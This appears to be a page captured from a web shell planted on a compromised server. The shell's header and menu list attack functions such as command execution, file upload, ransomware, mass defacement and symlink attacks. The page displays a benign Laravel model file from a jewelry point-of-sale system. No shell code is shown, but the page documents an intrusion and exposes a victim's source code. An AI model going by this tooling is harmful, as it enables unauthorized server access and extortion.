KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/app/Models/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/app/Models/QtyHistory.php


<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;

class QtyHistory extends Model
{
    use HasFactory , SoftDeletes;
    protected $fillable = [
        'id' , 'qty' , 'qty_before_transaction' , 'qty_after_transaction' , 'product_id' , 'user_id' , 'note','grn' , 'weight' , 'weight_before_transaction',
        'weight_after_transaction', 'is_adjustment' , 'product_cost',
    ];

    public function user(){
        return $this->belongsTo(User::class);
    }
    public function product(){
        return $this->belongsTo(Product::class,'product_id');
    }

    public function goldWeight(){
        if(isset($this->product?->productCategory->name)) {
            if ($this->product?->productCategory->purity_level) {
//                dd($this->product-categories->purity_level * $this->weight , $this->weight);
                return $this->weight*$this->product?->productCategory->purity_level;
            }
            return $this->weight;
        }
        return 0;
    }
}

© KUJUNTI.ID